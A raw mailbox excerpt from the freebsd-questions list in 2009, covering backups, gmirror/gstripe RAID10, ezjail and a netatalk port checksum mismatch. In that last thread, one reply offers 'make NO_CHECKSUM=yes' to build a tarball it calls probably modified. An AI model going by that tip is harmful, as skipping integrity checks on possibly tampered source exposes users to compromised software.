+0300 Received: from ihlasnetym (HELO desktop2002) (yavuz.maslak@netiletisim.net@213.238.150.220) by pop3.ihlas.net.tr with SMTP; 23 Aug 2009 23:47:32 +0300 Message-ID: <93C9B58D98FD4F82B3174902B2BCA140@desktop2002> From: =?iso-8859-9?Q?Yavuz_Ma=FElak?= To: Date: Sun, 23 Aug 2009 23:47:32 +0300 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-9"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5512 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 X-Disclaimer: netiletisim.net X-Mailman-Approved-At: Sun, 23 Aug 2009 23:34:41 +0000 Subject: antivirus gateway X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 21:14:17 -0000 Hello I wish to use freebsd7.2 as an antivirus gateway. is there any document about that? Could you give an advice ? Thanks Bu elektronik posta ve varsa ekleri tamamen gizli ve gönderilen kiþiler listesine özeldir. Eðer adýnýz gönderilen kiþiler listesinde yer almýyorsa, lütfen derhal gönderen kiþiyi bilgilendiriniz ve içeriðini herhangi baþka bir kiþiye iletmeyiniz, herhangi bir amaç için kullanmayýnýz, sayýsal ve basýlý ortamlar dahil olmak üzere saklamayýnýz ve kopyalamayýnýz. This e-mail and attachments, if any, may contain confidential and/or proprietary information. Please be advised that the unauthorized use or disclosure of the information is strictly prohibited. If you are not the intended recipient, please notify the sender immediately by reply e-mail and delete all copies of this message and attachments. Thank you. From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 23:45:30 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0738A106568E for ; Sun, 23 Aug 2009 23:45:30 +0000 (UTC) (envelope-from zetinja@gmail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 8969F8FC18 for ; Sun, 23 Aug 2009 23:45:29 +0000 (UTC) Received: by fxm6 with SMTP id 6so1150723fxm.43 for ; Sun, 23 Aug 2009 16:45:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=quj1Mf3AaOX9/XxxhFjSY3TLOnXlgOKW67Zikta5Y64=; b=RyaqRiH3PtnUTxMyV4fnhx8p4UGU2xov/EZdo3omEBwPiZktXPPikVrCF1Li3lPibn nUVvG+IT51GqACCI2P8QeLxfz6e2LxBoUlStZJ3ADtFC6VZ5rdTdM2aFSObhpTKDahXY ofstTLjshfGA1EtGHXb2Uhk7zz7kbjiWvSqb4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=kg+gOavC0wctea7YeNrNgjV1WyrtV0oF84MqvhLW2PfgvI487olJBW14rKfQmY8Out f9B3vwazuGSn4R03Gp2xNiXrn1MC2ManNz7r5JTiB8CpDUS1YXQDgsQ4lCV8B2INhSn9 AcOF+8W3ijBm3H13TfbNlx85FmdL5OrxUxpQk= MIME-Version: 1.0 Received: by 10.86.41.19 with SMTP id o19mr2766738fgo.45.1251071128507; Sun, 23 Aug 2009 16:45:28 -0700 (PDT) Date: Mon, 24 Aug 2009 02:45:28 +0300 Message-ID: <9a9ddaf60908231645t79f443bbj70bf885444831e48@mail.gmail.com> From: Zetinja Tresor To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: ezjail jail migration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 23:45:30 -0000 Has anyone tried to migrate ezjail jails between 7.2 and 6.4? I've read it works fine 6.4 -> 7.2, but what about 7.2 -> 6.4. Is there any chance I could get away with this by not being forced to reinstall all the running stuff - proftpd, apache? From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 00:15:16 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DC8E4106568C for ; Mon, 24 Aug 2009 00:15:16 +0000 (UTC) (envelope-from vogelke@hcst.com) Received: from beta.hcst.com (beta.hcst.com [192.52.183.241]) by mx1.freebsd.org (Postfix) with ESMTP id 9BFA78FC14 for ; Mon, 24 Aug 2009 00:15:16 +0000 (UTC) Received: from beta.hcst.com (localhost [127.0.0.1]) by beta.hcst.com (8.13.8/8.13.8/Debian-3) with ESMTP id n7O0FFrr005023 for ; Sun, 23 Aug 2009 20:15:15 -0400 Received: (from vogelke@localhost) by beta.hcst.com (8.13.8/8.13.8/Submit) id n7O0FFpA005022; Sun, 23 Aug 2009 20:15:15 -0400 Received: by kev.msw.wpafb.af.mil (Postfix, from userid 32768) id 93892B7C4; Sun, 23 Aug 2009 20:14:41 -0400 (EDT) To: freebsd-questions@freebsd.org In-reply-to: <4A8FF981.7020707@locolomo.org> (message from Erik Norgaard on Sat, 22 Aug 2009 15:58:25 +0200) Organization: Oasis Systems Inc. X-Disclaimer: I don't speak for the USAF or Oasis. X-GPG-ID: 1024D/711752A0 2006-06-27 Karl Vogel X-GPG-Fingerprint: 56EB 6DBF 4224 C953 F417 CC99 4C7C 7D46 7117 52A0 Message-Id: <20090824001441.93892B7C4@kev.msw.wpafb.af.mil> Date: Sun, 23 Aug 2009 20:14:41 -0400 (EDT) From: vogelke+unix@pobox.com (Karl Vogel) Subject: Re: What should be backed up? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: vogelke+unix@pobox.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 00:15:16 -0000 >> On Sat, 22 Aug 2009 15:58:25 +0200, >> Erik Norgaard said: E> Yes, it's easy to miss something that should have been backed up. There E> is no point in backup of files other than those you modify yourself, E> unless you plan to create an exact image and recover using dd. Touching a timestamp file and backing up stuff newer than that works fine for things you modify, but I frequently copy over source tarballs and the timestamp method won't work for those. I use MD5 to find what I've added, changed, or deleted: root# mkdir /root/toc root# cd /root/toc root# date; find / -type f -print | xargs /sbin/md5 -r > orig.md5; date Tue Mar 24 20:55:20 EDT 2009 Tue Mar 24 20:58:50 EDT 2009 root# wc -l orig.md5 198760 orig.md5 root# df -m / Filesystem 1M-blocks Used Avail Capacity Mounted on /dev/aacd0s1a 7931 1882 5414 26% / root# grep -v /root/toc orig.md5 > x root# mv x orig.md5 This was from a 7.1 installation. The box hashed 199,000 files (1.8 Gb) in just over 3 minutes, which was fine with me. Next, I back up /etc in case I mangle something: root# mkdir /etc.orig root# cd /etc root# find . -print | pax -rwd -pe /etc.orig After all my tweaks are in place, user accounts installed, etc., I run the script below to get a new table-of-contents. Then I can compare the two MD5 files to see exactly what I've added, removed, or modified. -- Karl Vogel I don't speak for the USAF or my company Burned so much oil, it was single handedly responsible for the formation of OPEC. --a Chevy Vega owner, on "Car Talk's 10 worst cars of the millennium" =========================================================================== #!/bin/ksh # Get a table of contents for a configured system. PATH=/bin:/sbin:/usr/sbin:/usr/bin export PATH out=new.md5 top=/root/toc # First time this is run, {/usr /home /var} are all under /. # We want to check the same things when we do the comparison run. fsys=/ root="`df $fsys`" for dir in /usr /home /var do x="`df $dir`" test "$x" != "$root" && fsys="$fsys $dir" done # Get the TOC. cd $top || exit 1 date; find $fsys -xdev -type f -print0 | xargs -0 md5 -r > $out; date # How much space are we checking? echo; df -m $fsys; echo grep -v $top $out > x.$$ mv x.$$ $out wc -l $out exit 0 From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 02:34:37 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B4F15106568F for ; Mon, 24 Aug 2009 02:34:37 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 3E0FB8FC0A for ; Mon, 24 Aug 2009 02:34:35 +0000 (UTC) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id n7O2XifL017327 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 24 Aug 2009 09:33:44 +0700 (ICT) (envelope-from on@cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id n7O2YXrh075784; Mon, 24 Aug 2009 09:34:33 +0700 (ICT) (envelope-from on) Date: Mon, 24 Aug 2009 09:34:33 +0700 (ICT) Message-Id: <200908240234.n7O2YXrh075784@banyan.cs.ait.ac.th> From: Olivier Nicole To: laospr@gmail.com In-reply-to: <03611829-F322-429F-8A4C-CEB53A1D1C42@gmail.com> (message from Nakhonekham Xongmixay on Sun, 23 Aug 2009 18:22:46 +0700) References: <03611829-F322-429F-8A4C-CEB53A1D1C42@gmail.com> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org Subject: Re: Translation X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 02:34:37 -0000 Dear Mr Nakhonekham, > Just question about translated version of FreeBSD if it available in > Lao Language or not? if not how can I start to translate this FreeBSD > in to Lao. As far as I know, there is no Lao translation of FreeBSD. Now I know there is a Thai group of FreeBSD users, you may want to contact them. Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 03:30:54 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BDA2E1065690 for ; Mon, 24 Aug 2009 03:30:54 +0000 (UTC) (envelope-from lists@jnielsen.net) Received: from ns1.jnielsen.net (ns1.jnielsen.net [69.55.238.237]) by mx1.freebsd.org (Postfix) with ESMTP id 97B358FC16 for ; Mon, 24 Aug 2009 03:30:54 +0000 (UTC) Received: from [172.17.2.19] (jn@stealth.jnielsen.net [74.218.226.254]) (authenticated bits=0) by ns1.jnielsen.net (8.12.9p2/8.12.9) with ESMTP id n7O3Urel077379; Sun, 23 Aug 2009 23:30:53 -0400 (EDT) (envelope-from lists@jnielsen.net) From: John Nielsen To: freebsd-questions@freebsd.org Date: Sun, 23 Aug 2009 23:30:52 -0400 User-Agent: KMail/1.9.10 References: <55fa7b3a0908220349h329ee6f2q4f1a039465a7f9fb@mail.gmail.com> In-Reply-To: <55fa7b3a0908220349h329ee6f2q4f1a039465a7f9fb@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200908232330.53118.lists@jnielsen.net> X-Virus-Scanned: ClamAV version 0.88.4, clamav-milter version 0.88.4 on ns1.jnielsen.net X-Virus-Status: Clean Cc: Phil Lewis Subject: Re: RAID10 setup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 03:30:54 -0000 You're on the right track, additional comments inline. On Saturday 22 August 2009 06:49:06 am Phil Lewis wrote: > This question was asked a few weeks ago, but the original poster > must have had their questions amswered. As follow-ups offered > further assistance given more detail, I wonder if I could be so bold > as to provide that detail for my own circumstances. > > I have six disks: > > ad4 - 500MB > ad5 - 500MB > ad6 - 500MB > ad7 - 400MB > ad8 - 500MB > ad10 - 500MB > > These are SATA drives, with ad8 and ad10 on a PCIe SATA controller. > > ad7 was my first disk and currently contains FreeBSD7.2-RELEASE. > I've been using that to gain some familiarity with FreeBSD, but it > need not be preserved (in fact, I'd rather not preserve it!). When I > built the machine, I just plugged the 400GB drive in any old slot, > so it can move if that makes sense. When I got the new drives I tried > to get identical to the 400GB drive, but couldn't. The 400GB drive > currently has a single slice using the full drive. Just make sure you have the disk(s) you plan to boot from on a controller that will boot in your machine. If the controllers have different performance characteristics then you probably want to share the wealth of the better one between multiple mirrors. > What I'd like to end up with is a three-way stripe across three > two-way mirrors, containing as much of the system as possible. This is certainly do-able. If it were me I'd put the whole OS on the "spare change" partitions and leave the whole stripe for your serious data consumer(s): /home, /data, possibly /usr/local or some or all of /var, etc. Depends on your intended use of the storage naturally. > I understand that you can't boot from a stripe, so some part of some > disk will have to be outside the stripe. However, as the stripe will > also be limited to the smallest disk, I'm going to have 5 x 100 GB > bits left over anyway, so I guess /boot can go on one of these..? Absolutely. I'd make a gmirror of two or three of them and put / on it. If you really want to be minimal w/ your use of the extra space then you could do /boot as you propose. > If possible, I'd like set this up pre-install. If it has to be done > post-install, or is easier to describe how to do post-install, then > that's fine. Either will work. Exactly how you do it depends on how much of the base system you want to end up on the stripe. > >From here on in, this email becomes speculative. > > All of the examples I've seen for setting up GEOM stripes and mirrors > have used the raw disk as the base-level provider. On the other hand, > I've seen nothing that says that the bottom level cannot be a slice, > rather than a raw disk, and given the way GEOM works, I suspect this > is true. Yes, you can use partitions, slices or any other GEOM providers as members of gstripe, gmirror and friends. > My current plan, based on this assumption, is as follows: > > With my current FreeBSD installation, create 2 slices on each 500GB > disk, 1 x ~400GB, 1 x ~100GB (the same size as the slice of my 400GB > disk, and the rest of the disk). > > Boot from the FreeBSD 7.2-RELEASE dvd, and enter fixit mode. I'm > not sure which would be best, or even if both are feasible for what I > want to do. (I was at this point in my researchwhen I found this > post!). > > >From here, kldload geom_stripe and kldload geom_mirror. > > Then, create the three mirrors: > > gmirror label -v main0 /dev/ad4s1 /dev/ad5s1 > gmirror label -v main1 /dev/ad6s1 /dev/ad571 > gmirror label -v main2 /dev/ad8s1 /dev/ad10s1 > > This should give me /mirror/main0|main1|main2, right? Right. > Next create the stripe: > > gstripe label -v -s 131072 raid10 /dev/mirror/main0 > /dev/mirror/main1 > /dev/mirror/main2 > (that's all one line) > > > If I'm right so far, then hopefully I should be able to boot to the > install dvd again (or just rerun sysnstall?), and from there I should > be able to choose a slice from outside 'raid10' to mount /boot, and > use 'raid10' for everything else. Do I need anything else on a > non-striped slice? /boot or equivalent is the only thing required to smell like a normal disk (which gmirror is capable of but gstripe isn't). You may want to use some of the space for swap. The virtual memory system should do its own version of stripe or interleave if you feed it multiple swap devices. > Maybe I could even create another mirror: > > gmirror label -v boot /dev/ad4s2 /dev/ad5s2 > > and use that to mount /boot, leaving me with s2 on ad6,8 and 10 as > 3 spare 100GB slices? > > Or am I just way off track? You seem to be pretty well on track. It seems you've already parsed the gstripe and gmirror man pages. You should probably look at fdisk(8) and bsdlabel(8) as well in case sysinstall doesn't tie up all your loose ends. Additionally you could just reinstall to a plain disk (or use your existing installation) and use dump/restore (and/or rsync) to move your filesystems to their multi-disk destinations. > PS. I can't believe I'm talking about 300 'spare' GB! My first disk > was 20MB! And I never filed that! Mine was too but it got full... :) JN From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 04:30:29 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EAFB6106568D for ; Mon, 24 Aug 2009 04:30:29 +0000 (UTC) (envelope-from jeffrey@goldmark.org) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.freebsd.org (Postfix) with ESMTP id BC0B88FC2C for ; Mon, 24 Aug 2009 04:30:29 +0000 (UTC) Received: from compute1.internal (compute1.internal [10.202.2.41]) by gateway1.messagingengine.com (Postfix) with ESMTP id 1074E34E18; Mon, 24 Aug 2009 00:30:29 -0400 (EDT) Received: from heartbeat2.messagingengine.com ([10.202.2.161]) by compute1.internal (MEProxy); Mon, 24 Aug 2009 00:30:29 -0400 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=messagingengine.com; h=cc:message-id:from:to:in-reply-to:content-type:content-transfer-encoding:mime-version:subject:date:references; s=smtpout; bh=r+zmB/gF2K0pHm6PAGpF/zlMC9Y=; b=Gd94Vd3NN6xmk1L6S2hPDeA/tAUa8YYkkiwwL7tOF958dVoE9juRdiXFT3RMwWF6AM0gvG8SuxCPMFGvUgSXvDkQHcJzLzw/MtsjKphdll2a+443McJ9HadaLAvbG5Q9hrt7PXIFOV8sxTxuHNFL93nucWIkFbTziEOZ8lJLYEY= X-Sasl-enc: 06yVguWBCpFLfYKHMOzSXDM3rSD0TvEcokDNCh3gHJSE 1251088228 Received: from olympe.ewd.goldmark.org (n114.ewd.goldmark.org [72.64.118.114]) by mail.messagingengine.com (Postfix) with ESMTPSA id A362D13BCE; Mon, 24 Aug 2009 00:30:28 -0400 (EDT) Message-Id: <97E0413B-E738-4731-BBEC-5A044E8C3D06@goldmark.org> From: Jeffrey Goldberg To: vogelke+unix@pobox.com In-Reply-To: <20090824001441.93892B7C4@kev.msw.wpafb.af.mil> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Sun, 23 Aug 2009 23:30:27 -0500 References: <20090824001441.93892B7C4@kev.msw.wpafb.af.mil> X-Mailer: Apple Mail (2.936) Cc: freebsd-questions@freebsd.org Subject: Re: What should be backed up? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 04:30:30 -0000 On Aug 23, 2009, at 7:14 PM, Karl Vogel wrote: > Touching a timestamp file and backing up stuff newer than that works > fine for things you modify, but I frequently copy over source > tarballs > and the timestamp method won't work for those. This is one of the several reasons that I use rsync (via rsnapshot). At each increment, it backs up the minimum that is need. With the cost of having a complete backup which duplicates what you would find in a reinstall, you have a complete system. Suppose you accidently trash something from the original installation. It may be easier to restore it from your backups than going to original installation media. Disk space is cheap, so having a complete back-up (under most circumstances) makes sense. With -- link-dest you can maintain many snapshots with the minimal of copying, transmitting, and writing files. Of course everyone's back up needs are different, and what works for me isn't necessarily the best for others. But if you haven't looked at rsnapshot, I'd recommend that you do before writing your own scripts. Even if you don't use rsnapshot itself, look at what it does with rsync. Cheers, -j -- Jeffrey Goldberg http://www.goldmark.org/jeff/ From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 06:26:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 727E7106568F for ; Mon, 24 Aug 2009 06:26:20 +0000 (UTC) (envelope-from odhiambo@gmail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 03D808FC12 for ; Mon, 24 Aug 2009 06:26:19 +0000 (UTC) Received: by fxm6 with SMTP id 6so1214962fxm.43 for ; Sun, 23 Aug 2009 23:26:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=aJeuQRqWyNGqPlFLv4Y6Bj7VF0Cw0Sv03Ddds6/BmVA=; b=DJSPUoe3BTwCI14SMgqCKNYkmdVtozxknbvq96roU5BHXbmGPN+N/CTaHqlX/9md8S wcgeJqVkwVO2bqUMdOSZWOG7zLoq+vZB8YTk2WguPQSsoN8/PJOeWBFddZvSa8UBE204 SmxuOlzMeQFpJxzRWE+pc5ssMrr0zkPMOpoJQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=AHCYm6XHJkn/+P4NPYCbPLoKH0zB3W3Knfih44ezsfcYsSRlMCVntbGCkRhC7G8iCW QUj1PrvyvfM1UumMO2CKk4+vUqOrDvFPepVM6kEKrcmKmDBkQGM9mAM244/thlJaWAgk U2aPihCB7iKWiZx0HVQdME5hSaAzv1qIEwtW4= MIME-Version: 1.0 Received: by 10.223.4.149 with SMTP id 21mr4316565far.28.1251095179150; Sun, 23 Aug 2009 23:26:19 -0700 (PDT) In-Reply-To: <93C9B58D98FD4F82B3174902B2BCA140@desktop2002> References: <93C9B58D98FD4F82B3174902B2BCA140@desktop2002> From: =?UTF-8?B?T2RoaWFtYm8gIOODr+OCt+ODs+ODiOODsw==?= Date: Mon, 24 Aug 2009 09:25:59 +0300 Message-ID: <991123400908232325s60519a2cif8db8f5bce139a5c@mail.gmail.com> To: =?UTF-8?Q?Yavuz_Ma=C5=9Flak?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: antivirus gateway X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 06:26:20 -0000 2009/8/23 Yavuz Ma=C5=9Flak > Hello > > I wish to use freebsd7.2 as an antivirus gateway. What is an antivirus gateway? Perhaps you need to filter e-mail viruses before the e-mail goes to the delivery server? Please try and make us understand what your situation is and what you want to do/achieve. --=20 Best regards, Odhiambo WASHINGTON, Nairobi,KE +254733744121/+254722743223 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ "If you have nothing good to say about someone, just shut up!." -- Lucky Dube From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 07:21:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 90AAC106568D for ; Mon, 24 Aug 2009 07:21:06 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id 4747E8FC19 for ; Mon, 24 Aug 2009 07:21:06 +0000 (UTC) Received: from beta.1-16-172-dyn.locolomo.org (beta.1-16-172-dyn.locolomo.org [172.16.1.127]) by mail.locolomo.org (Postfix) with ESMTPSA id C17471C1A67; Mon, 24 Aug 2009 09:21:04 +0200 (CEST) Message-ID: <4A923F5F.8060209@locolomo.org> Date: Mon, 24 Aug 2009 09:21:03 +0200 From: Erik Norgaard User-Agent: Thunderbird 2.0.0.23 (Macintosh/20090812) MIME-Version: 1.0 To: Jeffrey Goldberg References: <20090824001441.93892B7C4@kev.msw.wpafb.af.mil> <97E0413B-E738-4731-BBEC-5A044E8C3D06@goldmark.org> In-Reply-To: <97E0413B-E738-4731-BBEC-5A044E8C3D06@goldmark.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Cc: vogelke+unix@pobox.com, freebsd-questions@freebsd.org Subject: Re: What should be backed up? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 07:21:06 -0000 Jeffrey Goldberg wrote: > This is one of the several reasons that I use rsync (via rsnapshot). > At each increment, it backs up the minimum that is need. With the > cost of having a complete backup which duplicates what you would find > in a reinstall, you have a complete system. For binaries, I find it much safer/easier to reinstall, then you're sure all dependencies are installed correctly as well as the pkg database is updated correctly. For the rest of the files, having a complete backup I'll have to trace through what differs from the distributed/default configuration etc. Doing that from the start is much easier. And, the default configuration comes with the source, so no need to backup that. Of course this is also because when the recovery stragety is to reinstall, I'll likely upgrade while at it. So I can't assume blindly old default configuration files will work without modifications. BR, Erik -- Erik Nørgaard Ph: +34.666334818/+34.915211157 http://www.locolomo.org From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 07:26:04 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6A562106568C for ; Mon, 24 Aug 2009 07:26:04 +0000 (UTC) (envelope-from zenzee@xs4all.nl) Received: from smtp-vbr1.xs4all.nl (smtp-vbr1.xs4all.nl [194.109.24.21]) by mx1.freebsd.org (Postfix) with ESMTP id 06A168FC13 for ; Mon, 24 Aug 2009 07:26:03 +0000 (UTC) Received: from [192.168.178.21] (a80-101-53-60.adsl.xs4all.nl [80.101.53.60]) (authenticated bits=0) by smtp-vbr1.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7O7Q13B051606 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Mon, 24 Aug 2009 09:26:02 +0200 (CEST) (envelope-from zenzee@xs4all.nl) Message-Id: <0AA334E0-85AE-4B50-BDBA-E6C261DCF804@xs4all.nl> From: Vincent Zee To: andrew clarke In-Reply-To: <20090823085619.GA78363@ozzmosis.com> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Mon, 24 Aug 2009 09:26:01 +0200 References: <20090823082453.GA75105@xs4all.nl> <20090823085619.GA78363@ozzmosis.com> X-Mailer: Apple Mail (2.936) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: freebsd-questions Subject: Re: MD5 Checksum mismatch for netatalk-2.0.4.tar.bz2 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 07:26:04 -0000 On 23 August 2009, at 10:56, andrew clarke wrote: > On Sun 2009-08-23 10:24:53 UTC+0200, Vincent Zee (zenzee@xs4all.nl) > wrote: > >> ===> Vulnerability check disabled, database not found >> ===> Extracting for netatalk-2.0.4,1 >> => MD5 Checksum mismatch for netatalk-2.0.4.tar.bz2. >> => SHA256 Checksum mismatch for netatalk-2.0.4.tar.bz2. > > I'm getting a checksum mismatch here too. This probably means the > tarball was modified. > >> I checked the distinfo file and it is the same as on my other >> machine. >> On which the update went fine. > > Solution #1: Use "make NO_CHECKSUM=yes", just ignore the mismatch and > hope it will build. > > Solution #2: Copy /usr/ports/distfiles/netatalk-2.0.4.tar.bz2 from > your other machine and rebuild. > > Solution #3: Don't bother building from ports if you already have a > working binary on your other machine. Use "pkg_create -vb > netatalk\*", copy the resulting file to the new machine, then use > pkg_add. This assumes the same architecture (eg. i386) on both > machines. Hi Andrew, thanks for your answer. I think I'll go with solution number two since the machine have different architectures. /\ Vincent From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 08:02:49 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 46EFC106568B for ; Mon, 24 Aug 2009 08:02:49 +0000 (UTC) (envelope-from cb@lim.nl) Received: from smtpauth.rollernet.us (smtpauth.rollernet.us [208.79.240.5]) by mx1.freebsd.org (Postfix) with ESMTP id 2A43C8FC1C for ; Mon, 24 Aug 2009 08:02:48 +0000 (UTC) Received: from smtpauth.rollernet.us (localhost.localdomain [127.0.0.1]) by smtpauth.rollernet.us (Postfix) with ESMTP id DEEE3594003 for ; Mon, 24 Aug 2009 00:44:04 -0700 (PDT) Received: from [192.168.1.2] (93-125-163-97.dsl.alice.nl [93.125.163.97]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: cb@lim.nl) by smtpauth.rollernet.us (Postfix) with ESMTP for ; Mon, 24 Aug 2009 00:44:02 -0700 (PDT) Message-ID: <4A924601.3000507@lim.nl> Date: Mon, 24 Aug 2009 09:49:21 +0200 From: Colin Brace User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Rollernet-Abuse: Processed by Roller Network Mail Services. Contact abuse@rollernet.us to report violations. Abuse policy: http://rollernet.us/abuse.php X-Rollernet-Submit: Submit ID 5e55.4a9244c2.2b8a7.0 Subject: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 08:02:49 -0000 